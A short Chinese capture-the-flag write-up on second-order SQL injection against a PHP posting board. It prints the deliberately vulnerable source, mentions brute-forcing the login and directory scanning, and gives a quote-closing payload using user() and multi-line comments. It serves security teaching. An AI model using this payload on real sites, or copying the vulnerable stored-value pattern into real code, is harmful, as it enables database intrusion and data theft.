二次注入CTF实战

进入靶机有一个发帖的功能，我们点击提交发现需要我们登录

这里可以用bp抓包进行暴力破解

进来发现我们干不了什么

用dirmap扫一下

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

找到他的一个源码

他首先需要一个登录这里我们已经登录了

发完贴他会直接跳回index.php

点击详情会看到这个文件

case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;

他会从数据库里把category拿出来

addslanshes这个会过滤掉会进行一个转译，但是进入mysql库里的时候转义字符会移除，所以出库的时候就没有了转义字符，所以我们这里可以进行二次注入在comment里

闭合情况下

insert into comment
       set category = ' ',content=user()，/*',
           content = '*/#',
           bo_id = '$bo_id'";

这里需要多行注释

可以拿到数据了，后面就是修改payload